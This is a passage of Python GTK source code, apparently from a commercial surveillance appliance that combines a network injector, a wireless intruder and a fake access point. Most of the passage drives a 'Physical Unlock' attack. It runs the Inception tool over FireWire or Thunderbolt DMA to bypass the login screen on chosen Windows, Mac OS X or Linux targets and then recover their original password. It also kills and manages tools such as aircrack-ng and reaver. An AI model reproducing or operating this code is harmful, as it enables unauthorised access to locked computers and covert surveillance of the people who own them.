	self.renderer14 = Gtk.CellRendererText()
	self.column14 = Gtk.TreeViewColumn('Last web traffic', self.renderer14, markup = 7)
	self.column14.set_sort_column_id(7)

	self.renderer15 = Gtk.CellRendererText()
	self.column15 = Gtk.TreeViewColumn('Last web attack', self.renderer15, text = 8)

	def compare(model, row1, row2, user_data):
       	    sort_column, _ = model.get_sort_column_id()
            value1 = model.get_value(row1, sort_column)
            value2 = model.get_value(row2, sort_column)
            if value1 == value2:
                return 0
            elif value1 == "<i>Idle</i>":
                return 1
            else:
                return -1

	self.builder.get_object("liststore1").set_sort_func(7, compare, None)

        self.builder.get_object("treeview1").append_column(self.column1)
        self.builder.get_object("treeview1").append_column(self.column4)
        self.builder.get_object("treeview1").append_column(self.column5)
	self.builder.get_object("treeview1").append_column(self.column6)
	self.builder.get_object("treeview1").append_column(self.column7)
	self.builder.get_object("treeview1").append_column(self.column12)
	self.builder.get_object("treeview1").append_column(self.column13)
	self.builder.get_object("treeview1").append_column(self.column14)
	self.builder.get_object("treeview1").append_column(self.column15)

	self.renderer8 = Gtk.CellRendererText()
	self.column8 = Gtk.TreeViewColumn('HW address', self.renderer8, text = 0)

	self.renderer9 = Gtk.CellRendererText()
	self.column9 = Gtk.TreeViewColumn('Access point', self.renderer9, text = 1)

	self.builder.get_object("treeview2").append_column(self.column8)
	self.builder.get_object("treeview2").append_column(self.column9)

	self.builder.get_object("liststore1").clear()

        self.renderer11 = Gtk.CellRendererText()
        self.column11 = Gtk.TreeViewColumn('Attack status', self.renderer11, text = 0)

	if self.controlset == "tactical":
	    try:
		ret = subprocess.check_output("lsmod | grep -i acpiphp | wc -l", shell=True)[:-1]
		if ret == '0':
		    subprocess.call("/opt/td-config/bin/inception/incept -P > /dev/null", shell=True)
	    except:
		subprocess.call("/opt/td-config/bin/inception/incept -P > /dev/null", shell=True)
	
	if self.controlset == 'tactical':
	    self.signaltimeout = GObject.timeout_add(2000, self.wifisignal, None)
	    self.signaltimeout2 = GObject.timeout_add(2000, self.wifisignal2, None)

	self.icombo = self.builder.get_object('comboboxtext3')
	self.ibutton = self.builder.get_object('button7')
	self.ncombo = self.builder.get_object('comboboxtext4')
	self.nbutton = self.builder.get_object('button8')
	self.acombo = self.builder.get_object('comboboxtext5')
	self.abutton = self.builder.get_object('button9')
	self.ccbutton = self.builder.get_object('button15')
	self.progress = self.builder.get_object('progressbar1')
	self.progress2 = self.builder.get_object('progressbar2')
	self.text = self.builder.get_object('textview1').get_buffer()
	self.label = self.builder.get_object('label14')

	if not os.path.isdir(self.workingdir): os.makedirs(self.workingdir)
	self.loadinterfaces()
	self.loadinterfaces2()
	self.internetifaceip()
	self.loadinterfaces3()

	if self.controlset == 'tactical':
	    self.loadinterfaces4()
	    self.refreshfirewire()
	    self.loadserverconfig()
	else:
	    self.loadserverconfig2()

	self.notebook.set_current_page(0)

	self.terminal = Vte.Terminal()
	self.terminal.set_emulation("xterm")
	self.terminal.set_scroll_on_output(True)
	self.terminal.set_scroll_on_keystroke(True)
        self.terminal.fork_command_full(Vte.PtyFlags.DEFAULT, os.environ['HOME'], ["/usr/bin/tail", "-f", "/opt/td-config/run/logsystem"], [], GLib.SpawnFlags.DO_NOT_REAP_CHILD, None, None,)
	self.terminal.set_encoding("UTF-8")
	self.terminal.set_hexpand(True)
	self.terminal.set_vexpand(True)
	self.builder.get_object("box28").add(self.terminal)
	self.builder.get_object("box28").set_hexpand(True)
	self.builder.get_object("box28").set_vexpand(True)
	self.builder.get_object("box28").show_all()

	if os.path.exists("/var/log/td-config/") == True:
		self.builder.get_object("button42").set_sensitive(True)
	else:
		self.builder.get_object("button42").set_sensitive(False)

	if os.path.exists('/opt/td-config/share/NetworkInjectorUpgrade.deb') == True:
	    if self.controlset == 'tactical':
		self.builder.get_object("label2").set_label("Software Update is available.")
	    else:
                self.builder.get_object("label21").set_label("Software Update is running...")
		subprocess.call('echo "{} The software update is running..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
		self.dialog21 = self.builder.get_object("messagedialog21")
                Gdk.threads_enter()
                self.response21 = self.dialog21.run()
                Gdk.threads_leave()
                if self.response21 == Gtk.ResponseType.OK:
                    self.do_gui(self.dialog21.hide)
                    subprocess.call("pkill -KILL -f 'python /opt/td-config/scripts/tcc-config.py'", shell=True)
                    subprocess.call("pkill -KILL -f 'python tcc-config.py'", shell=True)
		    sys.exit(0)

            subprocess.call('echo "{} The software update is available." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

	    if self.upgradestate == None:
                self.dialog4 = self.builder.get_object("messagedialog4")
                Gdk.threads_enter()
                self.response4 = self.dialog4.run()
                Gdk.threads_leave()
                if self.response4 == Gtk.ResponseType.YES or self.response4 == Gtk.ResponseType.NO:
                    self.do_gui(self.dialog4.hide)
		    if self.controlset == 'tactical':
                        self.builder.get_object("label2").set_label("")
                        self.builder.get_object("label46").set_label("")
                    else:
                        self.builder.get_object("label21").set_label("")
                        self.builder.get_object("label47").set_label("")
		    if self.response4 == Gtk.ResponseType.YES:
		        subprocess.call('/etc/init.d/upgrade &', shell=True)
		        subprocess.call("pkill -KILL -f links_gui.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f link_test_fap.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f link_test_nieth.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f link_test_nifap.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f link_test_niwifieth.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f link_test_niwifi.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f link_test_wi.py 2> /dev/null", shell=True)
			subprocess.call("pkill -KILL -f create_sdcard.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f rules_gui.py 2> /dev/null", shell=True) 
                        subprocess.call("pkill -KILL -f 'python /opt/td-config/scripts/tcc-config.py'", shell=True)
                        subprocess.call("pkill -KILL -f 'python tcc-config.py'", shell=True)
		        sys.exit(0)
	    elif self.upgradestate == False:
		self.dialog5 = self.builder.get_object("messagedialog5")
                Gdk.threads_enter()
                self.response5 = self.dialog5.run()
                Gdk.threads_leave()
                if self.response5 == Gtk.ResponseType.YES or self.response5 == Gtk.ResponseType.NO:
                    self.do_gui(self.dialog5.hide)
                    if self.controlset == 'tactical':
                        self.builder.get_object("label2").set_label("")
                        self.builder.get_object("label46").set_label("")
                    else:
                        self.builder.get_object("label21").set_label("")
                        self.builder.get_object("label47").set_label("")
                    if self.response5 == Gtk.ResponseType.YES:
                        subprocess.call('/etc/init.d/upgrade &', shell=True)
		  	subprocess.call("pkill -KILL -f links_gui.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f link_test_fap.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f link_test_nieth.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f link_test_nifap.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f link_test_niwifieth.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f link_test_niwifi.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f link_test_wi.py 2> /dev/null", shell=True)
			subprocess.call("pkill -KILL -f create_sdcard.py 2> /dev/null", shell=True)
                        subprocess.call("pkill -KILL -f rules_gui.py 2> /dev/null", shell=True)	
                        subprocess.call("pkill -KILL -f 'python /opt/td-config/scripts/tcc-config.py'", shell=True)
                        subprocess.call("pkill -KILL -f 'python tcc-config.py'", shell=True)
                        sys.exit(0)
	elif self.upgradestate == True:
	    self.dialog18 = self.builder.get_object("messagedialog18")
            Gdk.threads_enter()
            self.response18 = self.dialog18.run()
            Gdk.threads_leave()
            if self.response18 == Gtk.ResponseType.OK:
                self.do_gui(self.dialog18.hide)

	if self.controlset == 'tactical':
	    subprocess.call('killall -SIGKILL RCSRedirect 2> /dev/null', shell=True)
	    subprocess.call("pkill -KILL -f links_gui.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_fap.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_nieth.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_nifap.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_niwifieth.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_niwifi.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_wi.py 2> /dev/null", shell=True)
	    subprocess.call("pkill -KILL -f create_sdcard.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f rules_gui.py 2> /dev/null", shell=True)
            subprocess.call('pkill -KILL -f names.py 2> /dev/null', shell=True)
            subprocess.call('pkill -KILL -f links.py 2> /dev/null', shell=True)
            subprocess.call('pkill -KILL -f links_gui.py 2> /dev/null', shell=True)
            subprocess.call('pkill -KILL -f clients.py 2> /dev/null', shell=True)
            subprocess.call('pkill -KILL -f clients2.py 2> /dev/null', shell=True)
            subprocess.call('pkill -KILL -f http_conntest.py 2> /dev/null', shell=True)
            subprocess.call('pkill -KILL -f infect.py 2> /dev/null', shell=True)
            subprocess.call('killall -SIGKILL iw 2> /dev/null', shell=True)
            subprocess.call('killall -SIGKILL ngrep 2> /dev/null', shell=True)
            subprocess.call('killall -SIGKILL airtun-ng 2> /dev/null', shell=True)
            subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)
	    subprocess.call('killall -SIGKILL ngrep 2> /dev/null', shell=True)
            subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
            subprocess.call('killall -SIGKILL reaver 2> /dev/null', shell=True)
            subprocess.call('killall -SIGKILL airbase-ng 2> /dev/null', shell=True)

	    subprocess.call("iptables -F", shell=True)
	    subprocess.call("iptables -t nat -F", shell=True)

            subprocess.call('killall -SIGKILL dnsmasq 2> /dev/null', shell=True)
            subprocess.call('rm /etc/dnsmasq.conf 2> /dev/null', shell=True)
            time.sleep(1)

            subprocess.call('dnsmasq -x /var/run/dnsmasq/dnsmasq.pid -u dnsmasq -r /var/run/dnsmasq/resolv.conf -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new', shell=True)

	    while os.path.exists('/var/run/dnsmasq/dnsmasq.pid') != True:
                time.sleep(0.5)

            subprocess.call('/opt/td-config/bin/airmon-ng stop mon0 > /dev/null', shell=True)

            if os.path.exists('/opt/td-config/run/NetworkManager.conf') == True:
                subprocess.call("rm -f /etc/NetworkManager/NetworkManager.conf", shell=True)
                subprocess.call("mv -f /opt/td-config/run/NetworkManager.conf /etc/NetworkManager/", shell=True)
                subprocess.call("killall -1 NetworkManager", shell=True)
		time.sleep(1)

        subprocess.call('echo "# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)" > /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN" >> /etc/resolv.conf', shell=True)
	subprocess.call('echo "#" >> /etc/resolv.conf', shell=True)
	subprocess.call('echo "#     IF YOU WANT EDITING THIS FILE, PLEASE EDIT /var/run/dnsmasq/resolv.conf FILE" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "nameserver 127.0.0.1" >> /etc/resolv.conf', shell=True)

	if os.path.exists('/var/run/dnsmasq/resolv.conf') == False:
  	    subprocess.call("echo 'nameserver 8.8.8.8' > /var/run/dnsmasq/resolv.conf", shell=True)
	    subprocess.call("echo 'nameserver 8.8.4.4' >> /var/run/dnsmasq/resolv.conf", shell=True)
	    subprocess.call("echo 'nameserver 208.67.222.222' >> /var/run/dnsmasq/resolv.conf", shell=True)
	    subprocess.call("echo 'nameserver 208.67.220.220' >> /var/run/dnsmasq/resolv.conf", shell=True)
	else:
	    try:
                subprocess.check_output("grep -i 'nameserver 8.8.8.8' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.8.8" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 8.8.4.4' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.4.4" >> /var/run/dnsmasq/resolv.conf', shell=True)

	    try:
                subprocess.check_output("grep -i 'nameserver 208.67.222.222' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.222.222" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.220.220' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.220.220" >> /var/run/dnsmasq/resolv.conf', shell=True)

	GLib.threads_init()
        Gdk.threads_init()
        Gdk.threads_enter()
        Gtk.main()
        Gdk.threads_leave()

    def refreshfirewire(self, *args):
        if self.started_newconf == True:
            return        
        
        if self.started_firewire == True:
            return

	self.builder.get_object("label1").set_label("")
        subprocess.call("for i in `ps aux | grep incept | grep -v grep | awk '{{print $2}}'`; do kill -KILL $i; done", shell=True)

        try:
            output = subprocess.check_output("/opt/td-config/bin/inception/incept -S", shell=True)
            output = output[0:len(output) - 1]
        except:
            output = ""
            pass

        if output == 'Could not initialize FireWire.':
            output2 = 'Could not initialize Firewire or Thunderbolt device on the PCIe bus...'
        elif output == 'No FireWire devices detected on the bus.':
            output2 = 'No Firewire or Thunderbolt device detected on the PCIe bus...'
        elif output == 'Firewire initialized.':
            output2 = 'Firewire or Thunderbolt device initialized on the PCIe bus'
        else:
            output2 = 'No Firewire or Thunderbolt device detected on the PCIe bus...'

        self.builder.get_object("label1").set_label(output2)

        if string.find(output, "Firewire initialized.") != -1:
            try:
                output2 = subprocess.check_output("/opt/td-config/bin/inception/incept -T", shell=True)
            except:
                output2 = ""
                pass

            self.builder.get_object("comboboxtext6").remove_all()

            if string.find(output2, "Windows") != -1:
                self.builder.get_object("comboboxtext6").prepend_text("Windows XP")
                self.builder.get_object("comboboxtext6").prepend_text("Windows Vista")
                self.builder.get_object("comboboxtext6").prepend_text("Windows 7")
                self.builder.get_object("comboboxtext6").prepend_text("Windows 8/8.1")
            elif string.find(output2, "Mac OS X") != -1:
                self.builder.get_object("comboboxtext6").prepend_text("Mac OS X 10.6/10.7/10.8/10.9")
            elif string.find(output2, "Linux") != -1:
                self.builder.get_object("comboboxtext6").prepend_text("Mint 11/12/13")
                self.builder.get_object("comboboxtext6").prepend_text("Ubuntu 11/12/13")
            else:
                self.builder.get_object("comboboxtext6").prepend_text("Mint 11/12/13")
                self.builder.get_object("comboboxtext6").prepend_text("Ubuntu 11/12/13")
                self.builder.get_object("comboboxtext6").prepend_text("Mac OS X 10.6/10.7/10.8/10.9")
                self.builder.get_object("comboboxtext6").prepend_text("Windows XP")
                self.builder.get_object("comboboxtext6").prepend_text("Windows Vista")
                self.builder.get_object("comboboxtext6").prepend_text("Windows 7")
                self.builder.get_object("comboboxtext6").prepend_text("Windows 8/8.1")

            if output2 != "":
                self.builder.get_object("comboboxtext6").set_active(0)

            if self.py_running == False and self.started_firewire == False:
                self.builder.get_object("label3").set_sensitive(True)
                self.builder.get_object("comboboxtext6").set_sensitive(True)
                self.builder.get_object("progressbar2").set_fraction(0)
                self.builder.get_object("progressbar2").set_sensitive(False)
                self.builder.get_object("button13").set_sensitive(True)
                self.builder.get_object("button13").set_label("Unlock")
        else:
            self.builder.get_object("label3").set_sensitive(False)
            self.builder.get_object("comboboxtext6").set_sensitive(False)
            self.builder.get_object("comboboxtext6").remove_all()
            self.builder.get_object("progressbar2").set_fraction(0)
            self.builder.get_object("progressbar2").set_sensitive(False)
            self.builder.get_object("button13").set_sensitive(False)
            self.builder.get_object("button13").set_label("Unlock")

    def firewireattack(self, *args):
        if self.started_firewire == False:
	    return False
	elif os.path.exists('/opt/td-config/run/inception/result') == True:
        	for line in open('/opt/td-config/run/inception/result').readlines():
		    self.do_gui(self.builder.get_object("label3").set_sensitive, False)
	            self.do_gui(self.builder.get_object("comboboxtext6").set_sensitive, False)
		    self.do_gui(self.builder.get_object("button43").set_sensitive, False)
		    self.do_gui(self.builder.get_object("button13").set_sensitive, False)
		    self.do_gui(self.builder.get_object("button14").set_sensitive, False)

        	    if string.find(line, "SUCCESS") != -1:
			self.pulsefire = False
		        self.do_gui(self.builder.get_object("label15").set_text, "Signature found")
		        self.do_gui(self.builder.get_object("textview2").get_buffer().insert_at_cursor, 'Attack completed.\n\nSignature found, attack successfull!\n\n')
		        subprocess.call('rm /opt/td-config/run/inception/result 2> /dev/null', shell=True)
		        self.dialog2 = self.builder.get_object("messagedialog2")
		        Gdk.threads_enter()
                        self.response2 = self.dialog2.run()
		        Gdk.threads_leave()
                        if self.response2 == Gtk.ResponseType.CLOSE:
                            self.do_gui(self.dialog2.hide)
		            self.firewire_recovery = True

			self.do_gui(self.builder.get_object("button14").set_sensitive, True)
		        self.do_gui(self.builder.get_object("button13").set_sensitive, True)
                        self.do_gui(self.builder.get_object("button13").set_label, "Lock")
		        subprocess.call('echo "{} Physical Unlock attack successfull." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
        	    else:
			self.pulsefire = False
		        self.do_gui(self.builder.get_object("label15").set_text, "Signature not found")
		        self.do_gui(self.builder.get_object("textview2").get_buffer().insert_at_cursor, 'Attack completed.\n\nCould not locate signature, attack failed!\n')
		        subprocess.call('rm /opt/td-config/run/inception/result 2> /dev/null', shell=True)
		        self.dialog3 = self.builder.get_object("messagedialog3")
		        Gdk.threads_enter()
                        self.response3 = self.dialog3.run()
		        Gdk.threads_leave()
                        if self.response3 == Gtk.ResponseType.CLOSE:
                            self.do_gui(self.dialog3.hide)
		            self.firewire_recovery = False

			self.do_gui(self.builder.get_object("button13").set_label, "Unlock")
			subprocess.call('echo "{} Physical Unlock attack failed." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
			subprocess.call('kill -KILL {} 2> /dev/null'.format(self.incept_pid), shell=True)
            		subprocess.call('killall -SIGKILL incept 2> /dev/null', shell=True)
			subprocess.call("for i in `ps aux | grep incept | grep -v grep | awk '{{print $2}}'`; do kill -KILL $i; done", shell=True)

            		self.do_gui(self.builder.get_object("label3").set_sensitive, True)
            		self.do_gui(self.builder.get_object("comboboxtext6").set_sensitive, True)
			self.do_gui(self.builder.get_object("button43").set_sensitive, True)
            		self.do_gui(self.builder.get_object("progressbar2").set_fraction, 0)
            		self.do_gui(self.builder.get_object("progressbar2").set_sensitive, False)
            		self.do_gui(self.builder.get_object("button13").set_sensitive, True)
            		self.do_gui(self.builder.get_object("button14").set_sensitive, False)
            		self.started_firewire = False
		    break

        return True

    def pulsebarfirewire(self):
	while True:
	    if self.pulsefire == True:
	        self.do_gui(self.builder.get_object('progressbar2').pulse)

		if string.find(self.builder.get_object("label15").get_text(), "Attacking") != -1:
		    if os.path.exists("/opt/td-config/run/inception/stat") == True:
		        try:
		            subprocess.call("cp /opt/td-config/run/inception/stat /opt/td-config/run/inception/stat.tmp2", shell=True)
		            stat = subprocess.check_output("cat /opt/td-config/run/inception/stat.tmp2", shell=True)		
		            self.do_gui(self.builder.get_object("label15").set_text, "Attacking (" + stat + " MiB)")
		            os.remove("/opt/td-config/run/inception/stat.tmp2")
		        except:
			    pass

	    time.sleep(0.7)

	    if self.started_firewire == False:
		self.do_gui(self.progress2.set_fraction, 0)
		self.do_gui(self.progress2.set_sensitive, False)
		break

    def startstopfirewire(self, *args):
        self.py_running = True

        if self.started_newconf == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                self.py_running = False
                return
	elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
	    self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
	    self.dialog14.format_secondary_text(msgdia)
	    self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                self.py_running = False
                return
	elif self.ni_running == True or self.started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                self.py_running = False
                return
	elif self.wi_running == True or self.status == 'started':
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                self.py_running = False
                return
        elif self.fa_running == True or self.fakeap_started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                self.py_running = False
                return

	if self.firewire_recovery == False:
	    self.dialog17 = self.builder.get_object("messagedialog17")
            msgdia = 'At login, sometimes the Physical Unlock fails because\nsome OS block this attack. In this scenario, the attack\nonly work when the OS is unlocked.\nDo you want to continue?'
            self.dialog17.format_secondary_text(msgdia)
            self.response17 = self.dialog17.run()
            if self.response17 == Gtk.ResponseType.NO:
                self.dialog17.hide()
	        self.py_running = False
                return
            elif self.response17 == Gtk.ResponseType.YES:
                self.dialog17.hide()

	    try:
		os.remove("/opt/td-config/run/inception/stat")
		os.remove("/opt/td-config/run/inception/stat.tmp")
		os.remove("/opt/td-config/run/inception/stat.tmp2")
	    except:
		pass

	    self.builder.get_object("label1").set_label("Start new session, please wait...")

	self.pulsefire = True

        t = threading.Thread(target = self.startstopfirewirert)
        t.start()

    def startstopfirewirert(self):
	self.do_gui(self.builder.get_object("button13").set_sensitive, False)

	if self.firewire_recovery == False:
	    try:
                output = subprocess.check_output("/opt/td-config/bin/inception/incept -S", shell=True)
                output = output[0:len(output) - 1]
            except:
                output = ""
                pass

            if output == 'Could not initialize FireWire.':
                output2 = 'Could not initialize Firewire or Thunderbolt device on the PCIe bus...'
            elif output == 'No FireWire devices detected on the bus.':
                output2 = 'No Firewire or Thunderbolt device detected on the PCIe bus...'
            elif output == 'Firewire initialized.':
                output2 = 'Firewire or Thunderbolt device initialized on the PCIe bus'
            else:
                output2 = 'No Firewire or Thunderbolt device detected on the PCIe bus...'

            if string.find(output, "Firewire initialized.") == -1:
	        self.do_gui(self.builder.get_object("textview2").get_buffer().set_text, '')
	        self.stopfirewire()
	        self.do_gui(self.builder.get_object("textview2").get_buffer().set_text, '')
	        time.sleep(1)
	        self.do_gui(self.builder.get_object("label1").set_label, "")
	        self.do_gui(self.builder.get_object("label15").set_text, "Device not found")

	        if self.firewire_recovery == True:
            	    self.do_gui(self.builder.get_object("textview2").get_buffer().set_text, output2 + "\n\nRecovery aborted.\n")
	        else:
		    self.do_gui(self.builder.get_object("textview2").get_buffer().set_text, output2 + "\n\nAttack aborted.\n")

	        self.do_gui(self.builder.get_object("button13").set_sensitive, True)
	        return

	if self.firewire_recovery == True:
	    self.do_gui(self.builder.get_object("button13").set_sensitive, False)
	    self.do_gui(self.builder.get_object("label15").set_text, "Recovery original password")
	    self.do_gui(self.builder.get_object("textview2").get_buffer().insert_at_cursor, '- Step 3/3: recovery the original password of target...\n\n')
            subprocess.call("echo 'YES' > /opt/td-config/run/inception/recovery", shell=True)

            while True:
                time.sleep(1)
                if subprocess.check_output("ps ax | grep -i incept | grep -v grep | wc -l", shell=True).strip() == '0':
                    break

            subprocess.call('rm /opt/td-config/run/inception/recovery 2> /dev/null', shell=True)
	    self.firewire_recovery = False
	    self.do_gui(self.builder.get_object("button13").set_sensitive, True)
	    self.do_gui(self.builder.get_object("button13").set_label, "Unlock")

        if self.started_firewire == False:
	    self.incept_pid = None

	    self.do_gui(self.builder.get_object("label15").set_text, "")

	    self.do_gui(self.builder.get_object("label3").set_sensitive, False)
	    self.do_gui(self.builder.get_object("button13").set_sensitive, False)
            self.do_gui(self.builder.get_object("comboboxtext6").set_sensitive, False)
	    self.do_gui(self.builder.get_object("button43").set_sensitive, False)
	    self.do_gui(self.builder.get_object("label15").set_sensitive, False)
	    self.do_gui(self.builder.get_object("expander3").set_sensitive, False)

	    device_os = self.builder.get_object("comboboxtext6").get_active_text()
	 
            try:
                os.makedirs('/opt/td-config/run/inception/')
 	    except:
		pass

            self.do_gui(self.builder.get_object("expander3").set_expanded, True) 
	    self.do_gui(self.builder.get_object("textview2").get_buffer().set_text, '')
	    self.do_gui(self.builder.get_object("textview2").set_sensitive, True)

	    while True:
	        if string.find(device_os, "Windows 8/8.1") != -1:
		    incept_proc = subprocess.Popen('/opt/td-config/bin/inception/incept -A 1 -N -v --wait=15', shell=True)
	        elif string.find(device_os, "Windows 7") != -1:
		    incept_proc = subprocess.Popen('/opt/td-config/bin/inception/incept -A 2 -N -v --wait=15', shell=True)
	        elif string.find(device_os, "Windows Vista") != -1:
		    incept_proc = subprocess.Popen('/opt/td-config/bin/inception/incept -A 3 -N -v --wait=15', shell=True)
	        elif string.find(device_os, "Windows XP") != -1:
		    incept_proc = subprocess.Popen('/opt/td-config/bin/inception/incept -A 4 -N -v --wait=15', shell=True)
	        elif string.find(device_os, "Mac OS X 10.6/10.7/10.8/10.9") != -1:
		    incept_proc = subprocess.Popen('/opt/td-config/bin/inception/incept -A 5 -N -v --wait=15', shell=True)
	        elif string.find(device_os, "Ubuntu 11/12/13") != -1:
		    incept_proc = subprocess.Popen('/opt/td-config/bin/inception/incept -A 6 -N -v --wait=15', shell=True)
		elif string.find(device_os, "Mint 11/12/13") != -1:
                    incept_proc = subprocess.Popen('/opt/td-config/bin/inception/incept -A 7 -N -v --wait=15', shell=True)

	        self.incept_pid = self.child_pid(incept_proc.pid)
                if self.incept_pid == None:
                    subprocess.call("killall -SIGKILL incept 2> /dev/null", shell=True)
		    subprocess.call("for i in `ps aux | grep incept | grep -v grep | awk '{{print $2}}'`; do kill -KILL $i; done", shell=True)
                    continue
                else:
                    break

	    self.started_firewire = True
	    time.sleep(1)
	    self.firewiretimeout = GObject.timeout_add(5000, self.firewireattack, None)

	    self.do_gui(self.builder.get_object("label15").set_text, "Attacking...")
	    self.do_gui(self.builder.get_object("textview2").get_buffer().insert_at_cursor, 'The target selected is ' + device_os + '\n\n- Step 1/3: initializing PCIe bus and enabling SBP-2 for DMA attack...\n- Step 2/3: searching signature in the memory of target...\n\n')

            self.do_gui(self.builder.get_object("label15").set_sensitive, True)
            self.do_gui(self.builder.get_object("expander3").set_sensitive, True)
	    self.do_gui(self.builder.get_object("button13").set_sensitive, False)
	    self.do_gui(self.builder.get_object("button14").set_sensitive, True)

	    t = threading.Thread(target = self.pulsebarfirewire)
	    t.start()

	    self.builder.get_object("label1").set_label("")

	    subprocess.call('echo "{} Starting Physical Unlock to {} operating system..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), device_os), shell=True)
        else:
	    self.do_gui(self.builder.get_object("label15").set_text, "Recovery original password")
	    self.do_gui(self.builder.get_object("textview2").get_buffer().insert_at_cursor, 'Recovery completed.\n\nOriginal password recovery successfull!\n')
	    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.incept_pid), shell=True)
	    subprocess.call('killall -SIGKILL incept 2> /dev/null', shell=True)
	    subprocess.call("for i in `ps aux | grep incept | grep -v grep | awk '{{print $2}}'`; do kill -KILL $i; done", shell=True)

            self.do_gui(self.builder.get_object("label3").set_sensitive, True)
            self.do_gui(self.builder.get_object("comboboxtext6").set_sensitive, True)
	    self.do_gui(self.builder.get_object("button43").set_sensitive, True)
	    self.do_gui(self.builder.get_object("progressbar2").set_fraction, 0)
            self.do_gui(self.builder.get_object("progressbar2").set_sensitive, False)
            self.do_gui(self.builder.get_object("button13").set_sensitive, True)
	    self.do_gui(self.builder.get_object("button14").set_sensitive, False)
	    self.do_gui(self.builder.get_object("button13").set_label, "Unlock")
            self.started_firewire = False

	    if self.firewiretimeout != None:
	        GObject.source_remove(self.firewiretimeout)
		self.firewiretimeout = None
	    subprocess.call('echo "{} Physical Recovery attack successfull." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	self.py_running = False

    def stopfirewire(self, *args):
	self.py_running = True
	self.pulsefire = True

        t = threading.Thread(target = self.stopfirewirert)
        t.start()

    def stopfirewirert(self):
	if self.firewire_recovery == True:
	    self.do_gui(self.builder.get_object("label15").set_text, "Signature found")
	    self.do_gui(self.builder.get_object("textview2").get_buffer().insert_at_cursor, 'Recovery aborted.\n')
	    self.firewire_recovery = False
	else:
	    self.do_gui(self.builder.get_object("label15").set_text, "Signature not found")
  	    self.do_gui(self.builder.get_object("textview2").get_buffer().insert_at_cursor, 'Attack aborted.\n')

	subprocess.call('kill -KILL {} 2> /dev/null'.format(self.incept_pid), shell=True)
	subprocess.call('killall -SIGKILL incept 2> /dev/null', shell=True)
	subprocess.call("for i in `ps aux | grep incept | grep -v grep | awk '{{print $2}}'`; do kill -KILL $i; done", shell=True)

        self.do_gui(self.builder.get_object("label3").set_sensitive, True)
        self.do_gui(self.builder.get_object("comboboxtext6").set_sensitive, True)
	self.do_gui(self.builder.get_object("button43").set_sensitive, True)
        self.do_gui(self.builder.get_object("progressbar2").set_fraction, 0)
        self.do_gui(self.builder.get_object("progressbar2").set_sensitive, False)
        self.do_gui(self.builder.get_object("button13").set_sensitive, True)
